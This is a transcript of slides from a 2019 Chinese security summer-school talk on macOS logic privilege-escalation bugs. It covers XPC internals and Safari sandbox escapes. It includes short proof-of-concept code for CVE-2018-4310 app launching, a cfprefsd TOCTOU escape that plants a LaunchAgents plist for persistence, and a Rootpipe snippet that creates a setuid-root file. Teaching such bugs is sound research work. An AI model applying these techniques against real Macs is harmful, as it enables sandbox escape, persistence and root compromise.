Upgrade to Pro — share decks privately, control downloads, hide ads and more …

【GOSSIP 暑期学校 2019】macOS “非主流”逻辑提权漏洞研究

cc
August 17, 2019

【GOSSIP 暑期学校 2019】macOS “非主流”逻辑提权漏洞研究

cc

August 17, 2019
Tweet

More Decks by cc

Other Decks in Education

Transcript

  1. 攻陷 macOS
    “非主流”逻辑提权漏洞研究
    周智
    蚂蚁金服光年安全实验室

    View full-size slide

  2. 关于讲师
    • 蚂蚁金服光年实验室安全专家
    • 聚焦产品安全和操作系统安全研究
    • 受邀在 BlackHat USA、XDEF、HITB Ams、TyphoonCon 等
    会议演讲
    • 获得过 Adobe、苹果、微软、VMware 等多个国内外厂
    商的致谢
    • 在 macOS / iOS 平台的逻辑漏洞有突出成果

    View full-size slide

  3. 目录
    背景 思路 案例 结语

    View full-size slide

  4. 准备工作

    View full-size slide

  5. 书籍
    • Mac OS X and iOS Internals: To the Apple's Core
    • 全文 pdf 作者已免费提供newosxbook.com/MOXiI.pdf
    • 中文译本:深入解析Mac OS X & iOS操作系统
    • 小部分内容已过时
    • *OS Internals
    • Newosxbook.com 书籍的更新版本
    • Volume I - User Mode - Available, v1.2 - See detailed ToC
    • Volume II - Later this year (wrapping up notes for Darwin 19
    betas) (暂未完成)
    • Volume III - Security & Insecurity is available, v1.6

    View full-size slide

  6. 书籍
    • Mac OS X Internals: A SystemApproach (2006)
    • https://osxbook.com/
    • The Mac Hacker’s Handbook (2009)
    • iOS Hacker’s Handbook (2012)
    • OS X and IOS Kernel Programming (2011)

    View full-size slide

  7. 环境
    • macOS
    • 开发环境和调试器:Xcode, lldb
    • Trace 工具:fs_usage, dtruss
    • Binutils:nm, otool
    • 日志:Console.app, log
    • launchctl
    • plutil
    • 任一熟悉的脚本语言

    View full-size slide

  8. 环境
    • LLDB 扩展 https://github.com/DerekSelander/LLDB
    • frida https://www.frida.re/docs/installation/
    • 参考 2018 年 GOSSIP 暑期学校课程
    • *OS Internals Tools
    http://newosxbook.com/index.php?page=downloads
    • Process Explorer
    • FileMon
    • Jtool
    • SUpraudit
    • XPoCe
    • MachOView 可执行文件格式分析

    View full-size slide

  9. 环境
    • 反汇编 / 反编译
    • Ghidra
    • IDA Pro
    • radare2
    • Hopper
    • class-dump
    • 系统监控
    • Monitor.app by FireEye
    https://www.fireeye.com/services/freeware/monitor.html

    View full-size slide

  10. 逻辑漏洞
    粗暴
    简单
    相对较少涉及
    底层细节
    难以
    fuzz
    不会产生明显
    的崩溃现象
    利用
    稳定
    不需要破坏数
    据结构
    脑洞
    大开
    跨组件串联多
    个条件

    View full-size slide

  11. 逻辑漏洞
    • 滥用软件既有的特性
    • 开发者对 API 误用
    • API 本身设计和实现的缺

    View full-size slide

  12. Userspace
    Sandbox
    提升权限
    Kernel
    process
    XNU
    Kext
    Kext
    process
    root
    root
    process
    user
    process
    user

    View full-size slide

  13. All roads lead to Rome
    WebContent
    sandbox
    daemon
    (normal user)
    daemon
    (root user)
    daemon
    (normal user)
    kernel
    weaker sandbox weaker sandbox2
    daemon
    (root user)

    View full-size slide

  14. 常见 IPC
    Pipe Shared file
    Shared
    Memory
    Mach Ports
    Distributed
    Notifications
    XPC
    CFPort
    Sockets
    TCP
    Unix
    Semaphore

    View full-size slide

  15. Mach IPC
    • http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/
    mach_msg_return_t mach_msg
    (mach_msg_header_t msg,
    mach_msg_option_t option,
    mach_msg_size_t send_size,
    mach_msg_size_t receive_limit,
    mach_port_t receive_name,
    mach_msg_timeout_t timeout,
    mach_port_t notify);
    PARAMETERS
    msg
    [pointer to in/out structure containing random and reply rights]
    A message buffer used by mach_msg both for send and receive. This
    must be naturally aligned.

    View full-size slide

  16. pwn4fun Spring 2014 - Safari - Part II, Ian Beer

    View full-size slide

  17. Auditing and Exploiting Apple IPC, Ian Beer

    View full-size slide

  18. Auditing and Exploiting Apple IPC, Ian Beer

    View full-size slide

  19. Auditing and Exploiting Apple IPC, Ian Beer

    View full-size slide

  20. XPC
    • XPC | Apple Developer Documentation
    https://developer.apple.com/documentation/xpc
    • NSXPCConnection- Foundation | Apple Developer
    Documentation
    https://developer.apple.com/documentation/foundation/ns
    xpcconnection
    • macOS / iOS 最常用的 IPC

    View full-size slide


  21. "http://www.apple.com/DTDs/PropertyList-1.0.dtd">


    Label
    com.apple.xpc.example
    Program
    /usr/libexec/example
    MachServices

    com.apple.xpc.example


    EnableTransactions



    View full-size slide

  22. xpc_connection_t c = xpc_connection_create("com.apple.service", NULL);
    xpc_connection_set_event_handler(c, ^(xpc_object_t event) {
    // Always set an event handler. More on this later.
    });
    xpc_connection_resume(c);
    // Messages are always dictionaries.
    xpc_dictionary_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_uint64(message, "X", 640);
    xpc_connection_send_message(c, message);
    xpc_release(message);
    xpc_connection_t listener =
    xpc_connection_create_mach_service(“com.apple.xpc.example”, NULL,
    XPC_CONNECTION_MACH_SERVICE_LISTENER);
    xpc_connection_set_event_handler(listener, ^(xpc_object_t event) {
    // New connections arrive here. You may safely cast to
    // xpc_connection_t. You will never receive messages here.
    // The semantics of this handler are similar to those of
    // of the one given to xpc_main().
    new_peer_event_handler((xpc_connection_t)event);
    });
    xpc_connection_resume(listener);

    View full-size slide

  23. xpc_connection_create_mach_service
    client server
    xpc_connection_create_mach_service
    xpc_connection_send_message
    xpc_connection_resume
    xpc_connection_send_message_with_reply_sync
    xpc_dictionary_get_*
    xpc_connection_set_event_handler
    xpc_connection_resume
    xpc_dictionary_create
    xpc_dictionary_get_*
    xpc_connection_send_message
    xpc_dictionary_set_*
    处 理 逻 辑
    事 件 循 环

    View full-size slide

  24. NSXPCConnection
    • 基于 libxpc
    • 基于 @protocol 和 NSSecureCoding 的远程过程调用
    • 面向对象

    View full-size slide

  25. NSXPCConnection *connection = [[NSXPCConnection alloc]
    initWithServiceName:@"com.apple.TicketAgent"];
    connection.remoteObjectInterface = [NSXPCInterface
    interfaceWithProtocol:@protocol(Agent)];
    [connection resume];
    id proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *err) {}];
    [proxy foo:@"bar", reply:^(Result *result) {
    NSLog(@"response: %@");
    }];
    NSXPCListener *listener = [NSXPCListener serviceListener];
    id delegate = [MyDelegate new];
    listener.delegate = delegate;
    [listener resume];

    View full-size slide

  26. Interceptor.attach(DebugSymbol.getFunctionByName('_xpc_connection_call_event_h
    andler'), {
    onEnter: function (args) {
    console.log(new ObjC.Object(args[0]));
    console.log(new ObjC.Object(args[1]));
    }
    });
    { name =
    com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0,
    egid = 0, asid = 100000 }>
    { count = 4, transaction: 1,
    voucher = 0x7ffb16d76af0, contents =
    "data" => : { length = 116 bytes, contents =
    0x62706c6973743030d2010203045866756e636e616d65546e... }
    "error" => : 0
    "client_id" => : 1
    "complete" => : true
    }>
    { name =
    com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0,
    egid = 0, asid = 100000 }>
    { count = 4, transaction: 1,
    voucher = 0x7ffb16c60f80, contents =
    "data" => : { length = 91 bytes, contents =
    0x62706c6973743030d101025866756e636e616d655f10214f... }
    "error" => : 0
    "client_id" => : 2
    "complete" => : true
    }>

    View full-size slide

  27. 权限检查
    • XPC 服务允许不同特权级别进程互相通信
    • 跨 sandbox
    • 跨 euid
    • 通常使用代码签名限制(低权限)调用者
    • https://developer.apple.com/documentation/security/code_signing_services
    • xpc_connection_set_event_handler 设置的 handler block 中处理事件
    • xpc_connection_get_{gid,asid,egid,euid,audit_token}
    • xpc_get_type(event) == XPC_TYPE_CONNECTION
    • 回调函数检查传入的newConnection
    • -(BOOL)listener:(NSXPCListener *)listener
    shouldAcceptNewConnection:(NSXPCConnection
    *)newConnection;
    • NSXPCConnectionprocessIdentifier, effectiveGroupIdentifier,
    effectiveUserIdentifier 和 auditToken 属性
    • xpc_connection_get_audit_token 和 [NSXPCConnection auditToken] 为
    私有 api

    View full-size slide

  28. 扩展阅读
    • Mac OSX and iOS Internals: To the Apple’s Core
    • pwn4fun Spring 2014 - Safari - Part II
    https://googleprojectzero.blogspot.com/2014/11/pwn4fun-
    spring-2014-safari-part-ii.html
    • Auditing and Exploiting Apple IPC
    https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.
    pdf
    • CVE-2017-7047 Triple_Fetch漏洞与利用技术分析
    https://keenlab.tencent.com/zh/2017/08/02/CVE-2017-
    7047-Triple-Fetch-bug-and-vulnerability-analysis/

    View full-size slide

  29. Entitlement
    • MachO 的代码签名中嵌入特殊的 XML (plist) 信息,赋予
    文件额外的能力
    • 更灵活的 suid
    • 可供用户态和内核的 RPC 检查调用者权限
    • 与代码签名绑定防止被滥用
    • 部分 entitlement 仅 Apple 自带可执行文件可以使用
    “taskgated: killed app because its use of the com.apple.***
    entitlement is not allowed”

    View full-size slide

  30. Safari 沙箱
    逃逸

    View full-size slide

  31. 逃逸
    • 现代浏览器基于多进程架构
    • 渲染器进程处于沙箱中
    • 不能创建子进程
    • 受限制的文件系统读写
    • 受限制的系统调用
    • ……
    • 目标:从渲染器任意代码执行到沙箱外任意代码执行

    View full-size slide

  32. UI Process
    WebKit2
    Web Process
    API Boundary
    Application
    WebKit (UI Process)
    WebKit (Web Process)
    WebCore
    JS Engine
    https://trac.webkit.org/wiki/WebKit2
    Web Process 2
    WebKit (Web Process)
    WebCore
    JS Engine
    Web Process n
    WebKit (Web Process)
    WebCore
    JS Engine
    WebKit2 多进程架构

    View full-size slide

  33. iOS WebProcess
    • 当前 MobileSafari 基于多进程架构
    • 沙箱配置文件直接编译到 Sandbox.kext
    • 使用的 seatbelt-profiles 指定,进程启动后自动
    初始化沙箱
    $ jtool --ent com.apple.WebKit.WebContent

    ...
    seatbelt-profiles

    com.apple.WebKit.WebContent

    View full-size slide

  34. macOS WebProcess
    • WebKit::ChildProcess::initializeSandbox
    • https://opensource.apple.com/source/WebKit2/WebKit2-
    7601.1.46.9/Shared/mac/ChildProcessMac.mm.auto.html
    • 基于私有 API sandbox_init_with_parameters 实

    • 配置文件
    /System/Library/Frameworks/WebKit.framew
    ork/Resources/com.apple.WebProcess.sb
    • 在进程初始化中存在一个无沙箱状态的时间窗口

    View full-size slide

  35. UI Process
    WebKit2
    Web Process
    API Boundary
    Application
    WebKit (UI Process)
    WebKit (Web Process)
    WebCore
    JS Engine
    Kernel
    XNU
    Kernel
    Extensions
    Attack
    Kernel
    Attack
    Safari
    IPC
    daemons
    Dock
    windowserver
    cfprefsd
    ...
    Attack Userspace
    Services
    攻击面

    View full-size slide

  36. 攻击内核
    syscall
    bsd/kern/syscalls.master
    MIG IOKit
    osfmk/mach https://developer.apple.com/docu
    mentation/iokit

    View full-size slide

  37. 攻击内核
    • 后续将介绍一种利用 com.apple.rootless.kext-
    secure-management 特权可执行文件攻击内核的方法,
    但不适用于沙箱逃逸场景
    • 需要内存破坏漏洞
    • 参考
    ○ pwn4fun Spring 2014 - Safari - Part II - Ian Beer
    ○ Pwning the macOS Sierra Kernel inside the Safari Sandbox - Team
    Pangu
    ○ IPC Voucher UaF Remote Jailbreak - @S0rryMybad

    View full-size slide

  38. Various Services
    unix
    socket
    nsurlstoraged
    mediaremoted
    cfprefsd
    shmem
    windowserver
    Mach Messages
    CFPort
    MIG XPC
    NSXPC
    Distributed
    Notifications
    CFMessagePort
    com.apple.speech.
    speechsynthesisd
    com.apple.hiservic
    es-xpcservice
    mDNSResponder
    WebProcess
    semaphore
    Sandbox
    攻击系统服务

    View full-size slide

  39. 攻击系统服务
    • 通过 IPC 触发跨进程的代码执行逃逸沙箱
    • 选择目标
    • 部分服务仍然具有沙箱,但具有宽松的限制
    • 部分服务以 root 权限运行,可一次性获得更高权限
    • 绝大多数被成功利用的 IPC 服务基于 Mach 消息:MIG、
    XPC、NSXPC
    • 使用 launchctl dumpstate 命令查找可用的 Mach
    端口
    • WindowServer 曾是理想的目标,多次在 Pwn2Own 中被
    利用
    • 类似 Windows 中的 win32k,(曾经)可以在沙箱访问、具有复
    杂的图形 API 和可切换到高权限

    View full-size slide

  40. ➜ ~ sudo procexp 70260 ports
    com.apple.WebKit:70260:0x103 task, kernel 0xa12c239
    com.apple.WebKit:70260:0x203
    com.apple.WebKit:70260:0x307 (thread) 0xa12c4d9
    com.apple.WebKit:70260:0x403
    com.apple.WebKit:70260:0x503
    com.apple.WebKit:70260:0x607
    com.apple.WebKit:70260:0x707 ->launchd:1:0x35d0f
    com.apple.WebKit:70260:0x803 (clock) 0xd6df43c9
    com.apple.WebKit:70260:0x903
    com.apple.WebKit:70260:0xa03 (voucher) 0xd8c4b8c9
    com.apple.WebKit:70260:0xb03 "com.apple.system.opendirectoryd.libinfo" ->opendirectoryd:109:0x4803
    ➜ ~ launchctl dumpstate | grep XPC_SERVICE_NAME | head
    XPC_SERVICE_NAME => com.apple.rpmuxd
    XPC_SERVICE_NAME => com.apple.wifiFirmwareLoader
    XPC_SERVICE_NAME => com.apple.uninstalld
    XPC_SERVICE_NAME => com.apple.kextd
    XPC_SERVICE_NAME => com.apple.diagnosticextensions.osx.spotlight.helper
    XPC_SERVICE_NAME => com.apple.duetknowledged
    XPC_SERVICE_NAME => com.apple.tzlinkd
    XPC_SERVICE_NAME => com.apple.diagnosticextensions.osx.timemachine.helper
    XPC_SERVICE_NAME => com.apple.kcproxy
    XPC_SERVICE_NAME => com.apple.fseventsd
    枚举 XPC 服务

    View full-size slide

  41. 攻击 WebKit 自带 IPC
    • WebKit2 架构中具有多种角色的进程
    • WebProcess, UIProcess, NetworkProcess, ServiceWorkerProcess
    and PluginProcess
    • 源码 Source/WebKit/Platform/IPC
    • 基于 WTF::RunLoop 消息循环
    • 消息序列化和路由基于 IPC::Encoder
    • 最终到达 ChildProcessProxy 的子类触发对应的方

    View full-size slide

  42. frame #4: 0x00007fff5146bb9a WebKit` WebKit::WebProcessPool::handleMessage(IPC::Connection&,
    WTF::String const&, WebKit::UserData const&) + 110
    frame #5: 0x00007fff51475d4e WebKit`
    WebKit::WebProcessPool::didReceiveMessage(IPC::Connection&, IPC::Decoder&) + 142
    frame #6: 0x00007fff511f23b9 WebKit`
    IPC::MessageReceiverMap::dispatchMessage(IPC::Connection&, IPC::Decoder&) + 65
    frame #7: 0x00007fff51478476 WebKit`
    WebKit::WebProcessProxy::didReceiveMessage(IPC::Connection&, IPC::Decoder&) + 46a
    frame #8: 0x00007fff511bf204 WebKit`
    IPC::Connection::dispatchMessage(std::__1::unique_ptrstd::__1::default_delete >) + 130
    frame #9: 0x00007fff511c1aa3 WebKit` IPC::Connection::dispatchIncomingMessages() + 731
    frame #10: 0x00007fff45beb4e7 JavaScriptCore` WTF::RunLoop::performWork() + 231

    View full-size slide

  43. WebProcess
    UIProcess
    send(Messages::WebPageProxy::SavePDFToFileInDownloadsFol
    der(suggestedFilename, originatingURL,
    IPC::DataReference(data, size)));
    void
    WebPageProxy::savePDFToFileInDownloadsFolder(String&&
    suggestedFilename, URL&& originatingURL, const
    IPC::DataReference& dataReference)
    (Source/WebKit/WebProcess/WebPage/WebPage.cpp)
    (Source/WebKit/UIProcess/WebPageProxy.cpp)
    SavePDFToFileInDownloadsFolder(String suggestedFilename,
    WebCore::URL originatingURL, IPC::DataReference data)
    (Source/WebKit/WebProcess/WebPage/WebPage.messages.in)

    View full-size slide

  44. ➜ ~ nm /System/Library/PrivateFrameworks/Safari.framework/Safari | grep
    BrowserContextInjectedBundleClient | c++filt -_
    00000000000c0f64 T Safari::BrowserContextInjectedBundleClient::dispatchMessage(NSString*,
    Safari::WK::Type const&)
    00000000000c0552 T
    Safari::BrowserContextInjectedBundleClient::dispatchSynchronousMessage(NSString*,
    Safari::WK::Type const&, Safari::WK::Type&)
    00000000000c0f18 T
    Safari::BrowserContextInjectedBundleClient::didReceiveMessageFromInjectedBundle(Safari::WK::Conte
    xt const&, Safari::WK::String const&, Safari::WK::Type const&)
    000000000000fb32 T
    Safari::BrowserContextInjectedBundleClient::getInjectedBundleInitializationUserData(Safari::WK::C
    ontext const&)
    00000000000c00da T
    Safari::BrowserContextInjectedBundleClient::didReceiveSynchronousMessageFromInjectedBundle(Safari
    ::WK::Context const&, Safari::WK::String const&, Safari::WK::Type const&, Safari::WK::Type&)
    Safari 扩展的 IPC
    • WebKit 提供了 InjectedBundle API 可以添加额外的
    事件委托,处理自定义的 IPC 消息等
    • Safari 使用此函数实现了一些闭源的 IPC 功能

    View full-size slide

  45. 分析沙箱配置
    • 仅适用 macOS
    • 使用 TinyScheme 语法
    • 曾经使用 include 语句引入 system.sb,已被移除

    View full-size slide

  46. 内核资源
    • MIG 方法没有对应的 sandbox 语法,由各自函数自行实
    现沙箱检查
    • sysctl
    (deny sysctl*)
    (allow sysctl-read (sysctl-name "Hw.byteorder"
    "Hw.busfrequency_max" "hw.cputype"
    • IOKit
    (allow iokit-open
    (iokit-connection "IOAccelerator")
    (iokit-registry-entry-class "IOAccelerationUserClient")
    (iokit-user-client-class "IOHIDParamUserClient")

    View full-size slide

  47. Mach IPC
    • 用户态服务
    (allow mach-lookup
    (global-name com.apple.gpumemd.source"))
    (allow mach-lookup (xpc-service-name
    "com.apple.PerformanceAnalysis.animationperfd")
    • 函数原型
    xpc_connection_t xpc_connection_create_mach_service(const
    char *name, dispatch_queue_t targetq, uint64_t flags);
    • flags
    ○ xpc-service-name: XPC_CONNECTION_MACH_SERVICE_LISTENER
    ○ global-name: XPC_CONNECTION_MACH_SERVICE_PRIVILEGED 或直
    接使用 bootstrap_look_up

    View full-size slide

  48. 其他 IPC
    • 共享内存
    (allow ipc-posix-shm-read*
    (ipc-posix-name "apple.shm.notification_center")
    (ipc-posix-name-prefix "apple.cfprefs."))
    • Unix Socket
    (allow network-outbound
    (literal "/private/var/run/mDNSResponder")
    (literal "/private/var/run/syslog"))
    • Distributed Notifications
    (allow mach-lookup (global-name-regex
    #"^com.apple.distributed_notifications"))

    View full-size slide

  49. 可写目录
    • 对缓存和临时目录具有读写权限
    (if (positive? (string-length (param "DARWIN_USER_CACHE_DIR")))
    (allow-read-write-directory-and-issue-read-write-extensions (param
    "DARWIN_USER_CACHE_DIR")))
    (if (positive? (string-length (param "DARWIN_USER_TEMP_DIR")))
    (allow-read-write-directory-and-issue-read-write-extensions (param
    "DARWIN_USER_TEMP_DIR")))
    • 禁止创建软连接
    (if (defined? 'vnode-type) (deny file-write-create (vnode-type SYMLINK)))
    • 位置:/private/var/folders//{C,T}/com.apple.WebKit.WebContent+com.apple.Safari
    • 其中创建的文件会被加上 com.apple.quarantine 标记
    • 不能直接利用,但可以辅助触发其他漏洞
    • 写入 dylib 等载荷

    View full-size slide

  50. 案例:CVE-2018-4310

    View full-size slide

  51. 不速之播放器
    • 按下媒体快捷键 ⏯
    • iTunes 弹出

    View full-size slide

  52. 媒体热键实现

    mediaremoted
    rcd
    iTunes
    HID event
    XPC
    LaunchService
    MediaRemote`MRMediaRemoteSendCommandToApp
    rcd`HandleMediaRemoteCommand + 260
    rcd`HandleHIDEvent + 736
    LaunchServices`LSOpenCFURLRef
    MediaServices`MSVLaunchApplication + 127
    mediaremoted`MRDLaunchApplication + 234
    mediaremoted`-[MRDRemoteControlServer
    _enqueueCommand:forApplication:withCompletion:] + 1199
    mediaremoted`__66-[MRDRemoteControlServer
    _sendLocalCommand:withCompletionHandler:]_block_invoke + 2320
    mediaremoted`-[MRDRemoteControlServer _shouldIgnoreCommand:completion:] + 998
    mediaremoted`-[MRDRemoteControlServer _sendLocalCommand:withCompletionHandler:]
    + 491
    mediaremoted`-[MRDRemoteControlServer _handleSendCommandMessage:fromClient:] +
    560
    mediaremoted`-[MRDRemoteControlServer handleXPCMessage:fromClient:] + 159
    mediaremoted`-[MRDMediaRemoteServer handleXPCMessage:fromClient:] + 514
    mediaremoted`-[MRDMediaRemoteClient _handleXPCMessage:] + 136

    View full-size slide

  53. 什么是 mediaremoted
    • 管理全局播放器控件的服务
    • 切换播放状态时,如果播放器没有运行,会被启动
    iOS
    macOS

    View full-size slide

  54. Bug
    • XPC 服务正好可以在 WebContent 沙箱中访问
    ;; Various services required by AppKit and other frameworks
    (allow mach-lookup
    (global-name "com.apple.mediaremoted.xpc")
    • 如果伪造一个播放器状态消息,能不能启动自定义的程
    序?

    View full-size slide

  55. XPC 消息分析
    "MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY" => : { length = 4 bytes, contents = 0x12020800 }
    "MRXPC_MESSAGE_ID_KEY" => : 0xf015
    }>
    "MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY" => : { length = 23 bytes, contents =
    0x0a150801120b6363616e742e6c6f63616c18cc86bde204 }
    "MRXPC_COMMAND_KEY" => : 2
    "MRXPC_MESSAGE_ID_KEY" => : 0xf00001
    "MRXPC_COMMAND_OPTIONS_KEY" => : { length = 359 bytes, contents =
    0x62706c6973743030d401020304050607085f10356b4d524d... }
    "MRXPC_COMMAND_APP_OPTIONS_KEY" => : 1
    }>
    • MRXPC_MESSAGE_ID_KEY:消息 id,用来派发到指定的 handler
    • MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY:序列化后的
    MRNowPlayingPlayerPathProtobuf类

    View full-size slide

  56. XPC 消息格式
    0x000000f00001
    Primary handler Sub handler
    0xf00 [MRDMediaRemoteServer _handleServerXPCMessage:fromClient:]
    0xf000 [MDRNowPlayingServer handleXPCMessage:fromClient:]
    0xf0000 [MRDAVRoutingServer handleXPCMessage:fromClient:]
    0xf00000 [MRDRemoteControlServer handleXPCMessage:fromClient:]
    0xf000000 [MRDBrowsableContentServer handleXPCMessage:fromClient:]
    0xf000000000 [MRDVirtualAudioInputServer handleXPCMessage:fromClient:]
    0xf00000000000 [MRDAgentServer handleXPCMessage:fromClient:]
    MRDRemoteControlServer
    0xF00001LL _handleSendCommandMessage:fromClient:
    0xF00002LL _handleGetSupportedCommandsMessage:fromClient:
    0xF00003LL _handleSetSupportedCommandsMessage:fromClient:
    0xF00004LL _handleBroadcastCommandMessage:fromClient:
    [MRDRemoteControlServer _handleSendCommandMessage:fromClient:]

    View full-size slide

  57. XPC 消息格式
    • 部分复杂参数被序列化成 NSData / xpc_data 方便共享
    • MediaRemote 库实现了一系列私有函数处理序列化和发
    送消息
    [Local::mediaremoted]-> Object.keys(ObjC.classes).filter(name => name.endsWith('Protobuf'))
    [
    "_MRGameControllerMotionProtobuf",
    "_MRTransactionKeyProtobuf",
    "_MRRegisterHIDDeviceMessageProtobuf",
    "_MRVideoThumbnailProtobuf",
    "_MRSendVoiceInputMessageProtobuf",
    "_MRGameControllerMessageProtobuf",
    "_MRUnregisterGameControllerMessageProtobuf",
    "_MRGetVoiceInputDevicesMessageProtobuf",
    "_MRSetNowPlayingClientMessageProtobuf",
    ...
    @interface _MRNowPlayingPlayerPathProtobuf : PBCodable
    {
    _MRNowPlayingClientProtobuf *_client;
    _MROriginProtobuf *_origin;
    _MRNowPlayingPlayerProtobuf *_player;
    }

    View full-size slide

  58. 触发 bug
    • _MRNowPlayingPlayerPathProtobuf 类具有三个
    关键属性:origin, client 和 player
    • 属性 origin 指向 _MRNowPlayingClientProtobuf
    对象,其 bundleIdentifier 属性可以被任意伪造
    @interface _MRNowPlayingPlayerPathProtobuf : PBCodable
    {
    _MRNowPlayingClientProtobuf *_client;
    _MROriginProtobuf *_origin;
    _MRNowPlayingPlayerProtobuf *_player;
    }
    @interface _MRNowPlayingClientProtobuf : PBCodable
    {
    NSString *_bundleIdentifier;
    NSMutableArray *_bundleIdentifierHierarchys;
    NSString *_displayName;
    int _nowPlayingVisibility;
    NSString *_parentApplicationBundleIdentifier;
    int _processIdentifier;
    int _processUserIdentifier;
    }

    View full-size slide

  59. 触发 bug
    • 使用私有函数创建一个
    _MRNowPlayingClientProtobuf 对象
    • MRNowPlayingClientCreate
    • 使用私有函数模拟播放按键事件
    • MRMediaRemoteSendCommandToClient
    • mediaremoted 会从消息中读取 bundle id 属性,调用
    LaunchService 启动对应的 App
    • 弹计算器

    View full-size slide

  60. extern id MRNowPlayingClientCreate(NSNumber*, NSString *);
    extern id MRMediaRemoteSendCommandToClient(int, NSDictionary*, id, id, int, int,
    id);
    id client = MRNowPlayingClientCreate(nil, @"com.apple.calculator");
    NSDictionary *args = @{@"kMRMediaRemoteOptionDisableImplicitAppLaunchBehaviors" :
    @NO};
    MRMediaRemoteSendCommandToClient(2, args, nil, client, 1, 0, ^void(unsigned int a1,
    CFArrayRef a2) {});
    弹计算器

    View full-size slide

  61. 鸡肋
    • 可以弹出任意已在 LaunchService 注册过的 App
    • 但沙箱无法访问 com.apple.lsd.modifydb 注册新
    的 App
    • 无法实现下载恶意软件执行

    View full-size slide

  62. 在 iOS 上滥用
    • 此问题同样可以在 iOS 上启动任意 App
    • 不通过官方推荐的 URL Scheme
    • 特别地,App 被作为媒体播放器启动,允许额外的后台
    运行时间
    • 使用计时器不断发送消息“启动”自身,可获得无限制的
    后台运行时间

    View full-size slide

  63. Wade Logan
    wakeup
    wakeup
    wakeup
    wakeup
    “全家桶”App
    • 如果有两个以上App,可以变成“全家桶”
    • A 启动 B
    • B 启动 A
    • 启动任意一个 App 可唤醒全部
    • 上滑关闭 A 和 B 应用后,实际上所有App 仍然在后台运行
    • 无需越狱

    View full-size slide

  64. “一行代码”
    逃逸 Safari
    沙箱

    View full-size slide

  65. Preferences 函数
    • 类似 NSUserDefaults,CoreFoundation 的 Preferences
    工具函数可以读写 plist 文件,通常用来保存偏好设置
    • 文件路径通常为
    • root 服务进程:/Library/Preferences
    • 没有 App 容器化的macOS 应用:~/Library/Preferences
    • 上架 App Store 的 macOS 应用:
    ~/Library/Containers/{bundle_id}/Data/Library/
    Preferences
    • NSUserDefaults 专门为沙箱环境设计,而
    Preferences 工具函数则支持传入绝对路径(而不是命名
    空间)来访问 plist

    View full-size slide

  66. 实现
    • 持久化操作实际上由 cfprefsd 完成
    • 内部实现有沙箱检查
    • 只是到底有没有写对呢……
    App
    cfprefsd
    CFPreferencesSetAppValue(@"key", @"value", @"/path/to/plist");
    OK
    Access
    Control
    Write

    View full-size slide

  67. TOCTOU
    • XPC 服务端在会话初始时检查 client 是否有沙箱
    • 如果没有,则会标记会话为可信,并一直信任到结束

    View full-size slide

  68. TOCTOU
    • Safari 渲染器启动时是没有沙箱的
    • 初始化完毕后才会调用私有函数进入 sandbox 状态
    • 然而初始化期间 AppKit 会主动访问 CFPreferences
    • cfprefsd 会一直记住这个“无沙箱”状态
    frame #17: 0x00007fff454e015a CoreFoundation`
    _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107
    frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423
    frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults)
    standardUserDefaults] + 78
    frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90
    frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19
    frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282
    frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238
    frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68
    frame #25: 0x0000000100001627 com.apple.WebKit.WebContent`
    ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519
    frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1

    View full-size slide

  69. TOCTOU
    Renderer Process
    sandbox
    4.sandbox_init
    _with_paramete
    rs
    cfprefsd
    1.
    CFPreferences
    CopyAppValue
    2.sandbox_check,
    no sandbox
    3.mark as "not
    sandboxed"
    5.
    CFPreferences
    SetAppValue
    6. I have
    checked the
    sandbox state,
    go ahead

    View full-size slide

  70. “一行代码”poc
    • 不需要跑赢任何条件竞争,直接读写 CFPreferences API,
    沙箱仿佛不存在
    • 简单写入启动项,只需一行代码
    • ~/Library/LaunchAgents/evil.plist
    • 效果
    • 沙箱外代码执行
    • 持久化
    • 缺点
    • 需要重启或注销,下次登录才能触发

    View full-size slide

  71. 一种立即触发方式

    View full-size slide

  72. Root 提权
    • 加载驱动、安装软件包等操作需要 root 权限
    • 在高权限进程中直接执行代码
    • 动态模块加载
    • 滥用高权限进程的功能
    • 子进程创建
    • 文件系统读写等
    • entitlement
    • 滥用 ipc 返回的资源
    • 文件描述符
    • mach port
    • 即使 root 用户,仍然受到 SIP 限制

    View full-size slide

  73. Root 提权
    • 攻击对象
    • 内核
    • 用户态 root 权限进程的IPC
    • 系统自带服务
    • /System/Library/LaunchDaemons
    • /Library/LaunchDaemons
    • 第三方软件服务
    • SMJobBless
    • 通常位于 /Library/PrivilegedHelperTools
    • 枚举:
    • ps -U root
    • launchctl dumpstate

    View full-size slide

  74. SIP (Rootless)
    • System Integrity Protection
    • 默认开启,限制 root 用户的权限
    • 系统自带目录只读
    • 内核驱动强制代码签名
    • 不允许调试内置程序
    • 在用户态可用 csrutil 命令或 csr_checkAPI 检查

    View full-size slide

  75. Rootpipe
    • writeconfig 进程以 root 权限执行,并可通过进程间通信
    访问
    • 暴露后门 API 可用于向指定路径写入任意属性文件
    id auth = [objc_lookUpClass("SFAuthorization") authorization];
    id sharedClient = [objc_lookUpClass("WriteConfigClient") sharedClient];
    [sharedClient authenticateUsingAuthorizationSync: auth];
    id tool = [sharedClient remoteProxy];
    [tool createFileWithContents:data path:[NSString stringWithUTF8String:target] attributes:@{ NSFilePosixPermissions :
    @04777 }];
    • 生成具有 setuid 属性的文件,执行获得 root
    • https://en.wikipedia.org/wiki/Rootpipe
    • https://www.slideshare.net/Synack/stick-that-in-your-
    rootpipe-smoke-it

    View full-size slide

